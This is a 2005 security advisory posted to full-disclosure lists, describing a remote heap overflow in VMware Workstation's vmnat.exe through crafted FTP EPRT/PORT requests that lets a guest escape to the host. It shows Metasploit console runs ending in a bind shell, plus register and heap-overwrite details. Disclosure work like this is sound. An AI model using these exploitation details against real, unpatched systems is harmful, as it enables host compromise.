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From: "Andrew Griffiths" <andrewg () felinemenace org>
Date: Wed, 21 Dec 2005 10:12:21 +0000

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To: bugtraq () securityfocus com, vulnwatch () vulnwatch org,
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Subject: [Full-disclosure] [ACSSEC-2005-11-25-0x1] VMWare Workstation 5.5.0
        <= build-18007 G SX Server Variants And Others



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ACS Security Assessment Advisory - Remote Heap Overflow

ID:       ACSSEC-2005-11-25 - 0x1

Class:    Remote Heap Overflow
Package:  VMWare Workstation 5.5.0 <= build-18007
            VMWare GSX Server Variants
            VMWare Ace Variants
            VMWare Player Variants
Exempt:   VMWare ESX Server Variants
Build:    Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 21, 2005

Remote:   Yes
Severity: High

Credit:   Tim Shelton           <security-advisories () acs-inc com>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-

-=[ Background

"VMware Workstation is powerful desktop virtualization software for software
developers/testers and enterprise IT professionals that runs multiple
operating systems simultaneously on a single PC. Users can run Windows,
Linux, NetWare, or Solaris x86 in fully networked, portable virtual machines
- no rebooting or hard drive partitioning required. VMware Workstation
delivers excellent performance and advanced features such as memory
optimization and the ability to manage multi-tier configurations and
multiple snapshots.

With millions of customers and dozens of major product awards over the last
six years, VMware Workstation is a proven technology that improves
productivity and flexibility. An indispensable tool for software developers
and IT professionals worldwide."

                        -- http://www.vmware.com/products/ws/



-=[ Technical Description

A vulnerability was identified in VMware Workstation (And others) vmnat.exe,
which could be exploited by remote attackers to execute arbitrary commands.
This vulnerability allows the escape from a VMware Virtual Machine into
userland space and compromising the host. 

'Vmnat' is unable to process specially crafted 'EPRT' and 'PORT' FTP
Requests.  



-=[ Proof of Concept:
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msf > use vmware_vmnat
msf vmware_vmnat(win32_bind) > exploit
[*] Starting Bind Handler.
[*] VMWare vmnat Remote Heap Exploit by Tim Shelton <security () acs-inc com>
[*] 220 #### FTP Server Ready.
[*] Login as anonymous/login
[*] Sending evil buffer....
[*] No response from FTP server
[*] Exiting Bind Handler.
vmnat.exe: Access violation when writing to [2F5C2F5C] <- Controllable
Registers

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-=[ Breakdown 

Control over registers ECX, EDI, EBX will allow you overwrite an available 
Heap Header PLINK and FLINK.  

EDX points to your buffer on overwrite.

Overwrite located at ntdll.0x7C926A36 Windows XP/SP2 build 2600

-=[ Functioning Overflow of Concept:
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-

msf > use vmware_vmnat_0day
msf vmware_vmnat_0day(win32_bind) > exploit
[*] Starting Bind Handler.
[*] VMWare vmnat Remote Heap Exploit 0day by Tim Shelton
<security () acs-inc com>
[*] 220 #### FTP Server Ready.
[*] Login as anonymous/login
[*] Sending evil buffer....
[*] Got connection from 192.168.79.130:34941 <-> 192.168.79.2:4444

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\VMware Workstation>

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-=[ Credits

Vulnerability originally reported and exploited by Tim Shelton


-=[ ChangeLog

2005-11-25 : Original Advisory
2005-12-01 : Notified Vendor
2005-12-20 : Vendor released patch, disclosing full information.

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